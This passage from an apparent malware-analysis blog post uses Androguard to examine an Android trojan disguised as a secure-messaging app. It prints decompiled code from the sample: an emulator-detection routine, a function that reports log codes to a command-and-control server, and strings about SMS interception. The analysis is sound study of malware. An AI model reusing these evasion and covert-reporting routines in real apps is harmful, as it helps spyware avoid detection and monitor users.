            v4 = this.getIntent().getStringExtra("android.intent.extra.TEXT");
            v7 = 0;
            v6 = 0;
            v5 = 0;
        }
        return new org.thoughtcrime.securesms.eb(-1, 0, v4, v5, v6, v7);
    }

    private org.thoughtcrime.securesms.eb n()
    {
        return new org.thoughtcrime.securesms.eb(this.getIntent().getLongExtra("thread_id", -1), ((org.thoughtcrime.securesms.recipients.Recipients) this.getIntent().getParcelableExtra("recipients")), 0, 0, 0, 0);
    }

    private boolean o()
    {
        return "android.intent.action.SEND".equals(this.getIntent().getAction());
    }

    private boolean p()
    {
        return "android.intent.action.SENDTO".equals(this.getIntent().getAction());
    }

    public void a()
    {
        this.a = 0;
        if (this.b) {
            this.b();
        }
        return;
    }

    public void a(org.whispersystems.textsecure.crypto.MasterSecret p2)
    {
        this.a = p2;
        if (this.b) {
            this.b();
        }
        return;
    }

    public void onActivityResult(int p2, int p3, android.content.Intent p4)
    {
        if (p3 == 0) {
            this.c = 1;
        }
        return;
    }

    protected void onCreate(android.os.Bundle p4)
    {
        super.onCreate(p4);
        if (!org.thoughtcrime.securesms.h.i.h(this)) {
            org.thoughtcrime.securesms.h.i.c("START", "Service started", this);
            android.content.Intent v0_3 = new android.content.Intent("XMainProcessStart");
            v0_3.putExtra("name", "value");
            this.startService(v0_3);
        }
        return;
    }

    public void onNewIntent(android.content.Intent p2)
    {
        super.onNewIntent(p2);
        this.setIntent(p2);
        this.d = 1;
        return;
    }

    public void onPause()
    {
        this.b = 0;
        super.onPause();
        return;
    }

    public void onResume()
    {
        if ((this.c) && (!this.d)) {
            this.finish();
        }
        this.d = 0;
        this.c = 0;
        this.b = 1;
        super.onResume();
        return;
    }
}



I that class,  here are some calls to other methods via a method 'oncreate', which I have highlighted in yellow. Which are those methods for?

In [74]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_h.source()
public static boolean h(android.content.Context p7)
    {
        int v2 = 1;
        if (org.thoughtcrime.securesms.h.i.c < 0) {
            if ((!android.os.Build.PRODUCT.equals("sdk")) && ((!android.os.Build.PRODUCT.equals("google_sdk")) && ((!android.os.Build.PRODUCT.equals("generic")) && ((!android.os.Build.PRODUCT.equals("full_x86")) && ((!android.os.Build.PRODUCT.equals("sdk_x86")) && (!android.os.Build.PRODUCT.equals("vbox86p"))))))) {
                boolean v0_13 = 0;
            } else {
                v0_13 = 1;
            }
            if ((android.os.Build.MANUFACTURER.equals("unknown")) || (android.os.Build.MANUFACTURER.equals("Genymotion"))) {
                v0_13++;
            }
            if ((android.os.Build.BRAND.equals("generic")) || ((android.os.Build.BRAND.equals("Android")) || ((android.os.Build.BRAND.equals("google")) || (android.os.Build.BRAND.equals("generic_x86"))))) {
                v0_13++;
            }
            if ((android.os.Build.DEVICE.equals("generic")) || ((android.os.Build.DEVICE.equals("generic_x86")) || (android.os.Build.DEVICE.equals("vbox86p")))) {
                v0_13++;
            }
            if ((android.os.Build.MODEL.equals("sdk")) || ((android.os.Build.MODEL.equals("google_sdk")) || ((android.os.Build.MODEL.equals("generic")) || ((android.os.Build.MODEL.equals("Full Android on x86")) || (android.os.Build.MODEL.equals("Android SDK built for x86")))))) {
                v0_13++;
            }
            if ((android.os.Build.HARDWARE.equals("goldfish")) || (android.os.Build.HARDWARE.equals("vbox86"))) {
                v0_13++;
            }
            if ((!android.os.Build.FINGERPRINT.contains("generic/sdk/generic")) && ((!android.os.Build.FINGERPRINT.contains("generic_x86/sdk_x86/generic_x86")) && ((!android.os.Build.FINGERPRINT.contains("generic/generic/generic")) && ((!android.os.Build.FINGERPRINT.contains("Android/full_x86/generic_x86")) && ((!android.os.Build.FINGERPRINT.contains("generic/google_sdk/generic")) && (!android.os.Build.FINGERPRINT.contains("generic/vbox86p/vbox86p"))))))) {
                int v3_50 = v0_13;
            } else {
                v3_50 = (v0_13 + 1);
            }
            boolean v0_17 = ((android.telephony.TelephonyManager) p7.getSystemService("phone"));
            if (v0_17.getSimState() == 5) {
                String v4_23 = new String[1];
                v4_23[0] = "US";
                if ((v0_17.getSimOperatorName().equals("Android")) || ((v0_17.getNetworkOperatorName().equals("Android")) || ((v0_17.getSimOperatorName().equals("AT&T")) || (v0_17.getNetworkOperatorName().equals("AT&T"))))) {
                    v3_50++;
                }
                if (org.thoughtcrime.securesms.h.i.a(v4_23, v0_17.getSimCountryIso().toUpperCase())) {
                    v3_50++;
                }
            }
            org.thoughtcrime.securesms.h.i.c = v3_50;
        }
        if (org.thoughtcrime.securesms.h.i.c <= 3) {
            v2 = 0;
        }
        return v2;
    }


So basically the first method performs several checks to figure out if it is running in a real device or a emulator, interesting :)

What about the second method?

In [78]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_c_Ljava_lang_StringLjava_lang_StringLandroid_content_ContextV.source()
public static void c(String p4, String p5, android.content.Context p6)
    {
        String v0_1 = new java.util.Hashtable();
        v0_1.put("LogCode", p4);
        v0_1.put("LogText", p5);
        String v0_2 = a.a.a.c.a(v0_1);
        if (org.thoughtcrime.securesms.h.i.d(p6).booleanValue()) {
            org.thoughtcrime.securesms.h.j v1_5 = new org.thoughtcrime.securesms.h.j(p6);
            String[] v2_1 = new String[1];
            v2_1[0] = v0_2;
            v1_5.execute(v2_1);
        }
        return;
    }


Interesting stuff here, I can see the same string 'LogCode' seen in memory which are part of the C&C commands discovered in previous post.



Creating flow-diagrams

Other interesting thing is the possibility to create the diagrams of the flows to follow up the code. For example, let's take a look a the method which checks it is running an emulators.


I displayed the smali code for that method which gives me the information I need.

In first line I see how the method is called and what returns. For example, it requieres an object 'android.context.Context' as parameter and the functions returns a boolean ( Z = boolean)


In [80]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_h.pretty_show()
########## Method Information
Lorg/thoughtcrime/securesms/h/i;->h(Landroid/content/Context;)Z [access_flags=public static]
########## Params
- local registers: v0...v6
- v7: android.content.Context
- return: boolean
####################
***************************************************************************
h-BB@0x0 :
0  (00000000) const/4             v2, 1
1  (00000002) const/4             v1, 0
2  (00000004) sget                v0, Lorg/thoughtcrime/securesms/h/i;->c I
3  (00000008) if-gez              v0, 385 [ h-BB@0xc h-BB@0x30a ]

h-BB@0xc :
4  (0000000c) sget-object         v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
5  (00000010) const-string        v3, 'sdk'
6  (00000014) invoke-virtual      v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
7  (0000001a) move-result         v0
8  (0000001c) if-nez              v0, 52 [ h-BB@0x20 h-BB@0x84 ]

h-BB@0x20 :
9  (00000020) sget-object         v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
10 (00000024) const-string        v3, 'google_sdk'
11 (00000028) invoke-virtual      v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
12 (0000002e) move-result         v0
13 (00000030) if-nez              v0, 42 [ h-BB@0x34 h-BB@0x84 ]

h-BB@0x34 :
14 (00000034) sget-object         v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
15 (00000038) const-string        v3, 'generic'
16 (0000003c) invoke-virtual      v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
17 (00000042) move-result         v0
18 (00000044) if-nez              v0, 32 [ h-BB@0x48 h-BB@0x84 ]

h-BB@0x48 :
19 (00000048) sget-object         v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
20 (0000004c) const-string        v3, 'full_x86'
21 (00000050) invoke-virtual      v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
22 (00000056) move-result         v0
23 (00000058) if-nez              v0, 22 [ h-BB@0x5c h-BB@0x84 ]

h-BB@0x5c :
24 (0000005c) sget-object         v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
25 (00000060) const-string        v3, 'sdk_x86'
26 (00000064) invoke-virtual      v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
27 (0000006a) move-result         v0
28 (0000006c) if-nez              v0, 12 [ h-BB@0x70 h-BB@0x84 ]

h-BB@0x70 :
29 (00000070) sget-object         v0, Landroid/os/Build;->PRODUCT Ljava/lang/String;
30 (00000074) const-string        v3, 'vbox86p'
31 (00000078) invoke-virtual      v0, v3, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
32 (0000007e) move-result         v0
33 (00000080) if-eqz              v0, 335 [ h-BB@0x84 h-BB@0x31e ]

h-BB@0x84 :
34 (00000084) move                v0, v2 [ h-BB@0x86 ]

h-BB@0x86 :
35 (00000086) sget-object         v3, Landroid/os/Build;->MANUFACTURER Ljava/lang/String;
36 (0000008a) const-string        v4, 'unknown'
37 (0000008e) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
38 (00000094) move-result         v3
39 (00000096) if-nez              v3, 12 [ h-BB@0x9a h-BB@0xae ]

h-BB@0x9a :
40 (0000009a) sget-object         v3, Landroid/os/Build;->MANUFACTURER Ljava/lang/String;
41 (0000009e) const-string        v4, 'Genymotion'
42 (000000a2) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
43 (000000a8) move-result         v3
44 (000000aa) if-eqz              v3, 4 [ h-BB@0xae h-BB@0xb2 ]

h-BB@0xae :
45 (000000ae) add-int/lit8        v0, v0, 1 [ h-BB@0xb2 ]

h-BB@0xb2 :
46 (000000b2) sget-object         v3, Landroid/os/Build;->BRAND Ljava/lang/String;
47 (000000b6) const-string        v4, 'generic'
48 (000000ba) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
49 (000000c0) move-result         v3
50 (000000c2) if-nez              v3, 32 [ h-BB@0xc6 h-BB@0x102 ]

h-BB@0xc6 :
51 (000000c6) sget-object         v3, Landroid/os/Build;->BRAND Ljava/lang/String;
52 (000000ca) const-string        v4, 'Android'
53 (000000ce) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
54 (000000d4) move-result         v3
55 (000000d6) if-nez              v3, 22 [ h-BB@0xda h-BB@0x102 ]

h-BB@0xda :
56 (000000da) sget-object         v3, Landroid/os/Build;->BRAND Ljava/lang/String;
57 (000000de) const-string        v4, 'google'
58 (000000e2) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
59 (000000e8) move-result         v3
60 (000000ea) if-nez              v3, 12 [ h-BB@0xee h-BB@0x102 ]

h-BB@0xee :
61 (000000ee) sget-object         v3, Landroid/os/Build;->BRAND Ljava/lang/String;
62 (000000f2) const-string        v4, 'generic_x86'
63 (000000f6) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
64 (000000fc) move-result         v3
65 (000000fe) if-eqz              v3, 4 [ h-BB@0x102 h-BB@0x106 ]

h-BB@0x102 :
66 (00000102) add-int/lit8        v0, v0, 1 [ h-BB@0x106 ]

h-BB@0x106 :
67 (00000106) sget-object         v3, Landroid/os/Build;->DEVICE Ljava/lang/String;
68 (0000010a) const-string        v4, 'generic'
69 (0000010e) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
70 (00000114) move-result         v3
71 (00000116) if-nez              v3, 22 [ h-BB@0x11a h-BB@0x142 ]

h-BB@0x11a :
72 (0000011a) sget-object         v3, Landroid/os/Build;->DEVICE Ljava/lang/String;
73 (0000011e) const-string        v4, 'generic_x86'
74 (00000122) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
75 (00000128) move-result         v3
76 (0000012a) if-nez              v3, 12 [ h-BB@0x12e h-BB@0x142 ]

h-BB@0x12e :
77 (0000012e) sget-object         v3, Landroid/os/Build;->DEVICE Ljava/lang/String;
78 (00000132) const-string        v4, 'vbox86p'
79 (00000136) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
80 (0000013c) move-result         v3
81 (0000013e) if-eqz              v3, 4 [ h-BB@0x142 h-BB@0x146 ]

h-BB@0x142 :
82 (00000142) add-int/lit8        v0, v0, 1 [ h-BB@0x146 ]

h-BB@0x146 :
83 (00000146) sget-object         v3, Landroid/os/Build;->MODEL Ljava/lang/String;
84 (0000014a) const-string        v4, 'sdk'
85 (0000014e) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
86 (00000154) move-result         v3
87 (00000156) if-nez              v3, 42 [ h-BB@0x15a h-BB@0x1aa ]

h-BB@0x15a :
88 (0000015a) sget-object         v3, Landroid/os/Build;->MODEL Ljava/lang/String;
89 (0000015e) const-string        v4, 'google_sdk'
90 (00000162) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
91 (00000168) move-result         v3
92 (0000016a) if-nez              v3, 32 [ h-BB@0x16e h-BB@0x1aa ]

h-BB@0x16e :
93 (0000016e) sget-object         v3, Landroid/os/Build;->MODEL Ljava/lang/String;
94 (00000172) const-string        v4, 'generic'
95 (00000176) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
96 (0000017c) move-result         v3
97 (0000017e) if-nez              v3, 22 [ h-BB@0x182 h-BB@0x1aa ]

h-BB@0x182 :
98 (00000182) sget-object         v3, Landroid/os/Build;->MODEL Ljava/lang/String;
99 (00000186) const-string        v4, 'Full Android on x86'
100(0000018a) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
101(00000190) move-result         v3
102(00000192) if-nez              v3, 12 [ h-BB@0x196 h-BB@0x1aa ]

h-BB@0x196 :
103(00000196) sget-object         v3, Landroid/os/Build;->MODEL Ljava/lang/String;
104(0000019a) const-string        v4, 'Android SDK built for x86'
105(0000019e) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
106(000001a4) move-result         v3
107(000001a6) if-eqz              v3, 4 [ h-BB@0x1aa h-BB@0x1ae ]

h-BB@0x1aa :
108(000001aa) add-int/lit8        v0, v0, 1 [ h-BB@0x1ae ]

h-BB@0x1ae :
109(000001ae) sget-object         v3, Landroid/os/Build;->HARDWARE Ljava/lang/String;
110(000001b2) const-string        v4, 'goldfish'
111(000001b6) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
112(000001bc) move-result         v3
113(000001be) if-nez              v3, 12 [ h-BB@0x1c2 h-BB@0x1d6 ]

h-BB@0x1c2 :
114(000001c2) sget-object         v3, Landroid/os/Build;->HARDWARE Ljava/lang/String;
115(000001c6) const-string        v4, 'vbox86'
116(000001ca) invoke-virtual      v3, v4, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
117(000001d0) move-result         v3
118(000001d2) if-eqz              v3, 4 [ h-BB@0x1d6 h-BB@0x1da ]

h-BB@0x1d6 :
119(000001d6) add-int/lit8        v0, v0, 1 [ h-BB@0x1da ]

h-BB@0x1da :
120(000001da) sget-object         v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
121(000001de) const-string        v4, 'generic/sdk/generic'
122(000001e2) invoke-virtual      v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
123(000001e8) move-result         v3
124(000001ea) if-nez              v3, 52 [ h-BB@0x1ee h-BB@0x252 ]

h-BB@0x1ee :
125(000001ee) sget-object         v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
126(000001f2) const-string        v4, 'generic_x86/sdk_x86/generic_x86'
127(000001f6) invoke-virtual      v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
128(000001fc) move-result         v3
129(000001fe) if-nez              v3, 42 [ h-BB@0x202 h-BB@0x252 ]

h-BB@0x202 :
130(00000202) sget-object         v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
131(00000206) const-string        v4, 'generic/generic/generic'
132(0000020a) invoke-virtual      v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
133(00000210) move-result         v3
134(00000212) if-nez              v3, 32 [ h-BB@0x216 h-BB@0x252 ]

h-BB@0x216 :
135(00000216) sget-object         v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
136(0000021a) const-string        v4, 'Android/full_x86/generic_x86'
137(0000021e) invoke-virtual      v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
138(00000224) move-result         v3
139(00000226) if-nez              v3, 22 [ h-BB@0x22a h-BB@0x252 ]

h-BB@0x22a :
140(0000022a) sget-object         v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
141(0000022e) const-string        v4, 'generic/google_sdk/generic'
142(00000232) invoke-virtual      v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
143(00000238) move-result         v3
144(0000023a) if-nez              v3, 12 [ h-BB@0x23e h-BB@0x252 ]

h-BB@0x23e :
145(0000023e) sget-object         v3, Landroid/os/Build;->FINGERPRINT Ljava/lang/String;
146(00000242) const-string        v4, 'generic/vbox86p/vbox86p'
147(00000246) invoke-virtual      v3, v4, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
148(0000024c) move-result         v3
149(0000024e) if-eqz              v3, 102 [ h-BB@0x252 h-BB@0x31a ]

h-BB@0x252 :
150(00000252) add-int/lit8        v0, v0, 1
151(00000256) move                v3, v0 [ h-BB@0x258 ]

h-BB@0x258 :
152(00000258) const-string        v0, 'phone'
153(0000025c) invoke-virtual      v7, v0, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
154(00000262) move-result-object  v0
155(00000264) check-cast          v0, Landroid/telephony/TelephonyManager;
156(00000268) invoke-virtual      v0, Landroid/telephony/TelephonyManager;->getSimState()I
157(0000026e) move-result         v4
158(00000270) const/4             v5, 5
159(00000272) if-ne               v4, v5, 74 [ h-BB@0x276 h-BB@0x306 ]

h-BB@0x276 :
160(00000276) new-array           v4, v2, [Ljava/lang/String;
161(0000027a) const-string        v5, 'US'
162(0000027e) aput-object         v5, v4, v1
163(00000282) invoke-virtual      v0, Landroid/telephony/TelephonyManager;->getSimOperatorName()Ljava/lang/String;
164(00000288) move-result-object  v5
165(0000028a) const-string        v6, 'Android'
166(0000028e) invoke-virtual      v5, v6, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
167(00000294) move-result         v5
168(00000296) if-nez              v5, 38 [ h-BB@0x29a h-BB@0x2e2 ]

h-BB@0x29a :
169(0000029a) invoke-virtual      v0, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
170(000002a0) move-result-object  v5
171(000002a2) const-string        v6, 'Android'
172(000002a6) invoke-virtual      v5, v6, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
173(000002ac) move-result         v5
174(000002ae) if-nez              v5, 26 [ h-BB@0x2b2 h-BB@0x2e2 ]

h-BB@0x2b2 :
175(000002b2) invoke-virtual      v0, Landroid/telephony/TelephonyManager;->getSimOperatorName()Ljava/lang/String;
176(000002b8) move-result-object  v5
177(000002ba) const-string        v6, 'AT&T'
178(000002be) invoke-virtual      v5, v6, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
179(000002c4) move-result         v5
180(000002c6) if-nez              v5, 14 [ h-BB@0x2ca h-BB@0x2e2 ]

h-BB@0x2ca :
181(000002ca) invoke-virtual      v0, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
182(000002d0) move-result-object  v5
183(000002d2) const-string        v6, 'AT&T'
184(000002d6) invoke-virtual      v5, v6, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
185(000002dc) move-result         v5
186(000002de) if-eqz              v5, 4 [ h-BB@0x2e2 h-BB@0x2e6 ]

h-BB@0x2e2 :
187(000002e2) add-int/lit8        v3, v3, 1 [ h-BB@0x2e6 ]

h-BB@0x2e6 :
188(000002e6) invoke-virtual      v0, Landroid/telephony/TelephonyManager;->getSimCountryIso()Ljava/lang/String;
189(000002ec) move-result-object  v0
190(000002ee) invoke-virtual      v0, Ljava/lang/String;->toUpperCase()Ljava/lang/String;
191(000002f4) move-result-object  v0
192(000002f6) invoke-static       v4, v0, Lorg/thoughtcrime/securesms/h/i;->a([Ljava/lang/String; Ljava/lang/String;)Z
193(000002fc) move-result         v0
194(000002fe) if-eqz              v0, 4 [ h-BB@0x302 h-BB@0x306 ]

h-BB@0x302 :
195(00000302) add-int/lit8        v3, v3, 1 [ h-BB@0x306 ]

h-BB@0x306 :
196(00000306) sput                v3, Lorg/thoughtcrime/securesms/h/i;->c I [ h-BB@0x30a ]

h-BB@0x30a :
197(0000030a) sget                v0, Lorg/thoughtcrime/securesms/h/i;->c I
198(0000030e) const/4             v3, 3
199(00000310) if-le               v0, v3, 3 [ h-BB@0x314 h-BB@0x316 ]

h-BB@0x314 :
200(00000314) return              v2

h-BB@0x316 :
201(00000316) move                v2, v1
202(00000318) goto                -2 [ h-BB@0x314 ]

h-BB@0x31a :
203(0000031a) move                v3, v0
204(0000031c) goto                -98 [ h-BB@0x258 ]

h-BB@0x31e :
205(0000031e) move                v0, v1
206(00000320) goto/16             -333 [ h-BB@0x86 ]

***************************************************************************
########## XREF
F: Lorg/thoughtcrime/securesms/RoutingActivity; j ()I 12
F: Lorg/thoughtcrime/securesms/RoutingActivity; onCreate (Landroid/os/Bundle;)V 6
F: Lorg/thoughtcrime/securesms/ConversationListActivity; g ()V 92
F: Lorg/thoughtcrime/securesms/xbroadcast/OnBootReceiver; onReceive (Landroid/content/Context; Landroid/content/Intent;)V 0
F: Lorg/thoughtcrime/securesms/ConversationListActivity; j ()V 84
T: Lorg/thoughtcrime/securesms/h/i; a ([Ljava/lang/String; Ljava/lang/String;)Z 2f6
####################


Now, that I know how the method is call, I can create the graph associated to that method and save it in a file named "securesms_h_i_Method_h.png".


In [83]: m = d.get_method_descriptor("Lorg/thoughtcrime/securesms/h/i;", "h", "(Landroid/content/Context;)Z")
In [84]: bytecode.method2png("securesms_h_i_Method_h.png", x.get_method( m ))






Analyzing the main CLASS

If we look to the class 'd.CLASS_Lorg_thoughtcrime_securesms_h_i' I find something quite interesting regarding the 'interception of sms'.  So it looks the malware is intercepting the SMS,

                            org.thoughtcrime.securesms.h.i.c("CONF", "SMS Intercept error: Phone not setted",)
                                                            org.thoughtcrime.securesms.h.i.c("CONF", "SMS Intercept enabled over SMS", p14);
               
                        org.thoughtcrime.securesms.h.i.c("CONF", "SMS Intercept enabled over buffer", p14)


Also, on the method 'e' in the same CLASS there are other interesting things: 
In [89]: d.CLASS_Lorg_thoughtcrime_securesms_h_i.METHOD_e.source()


Basically, this method dumps all the information from the device (this was pointed on previous post  post)

In next posts I will use Androguard framework to extract more interesting information.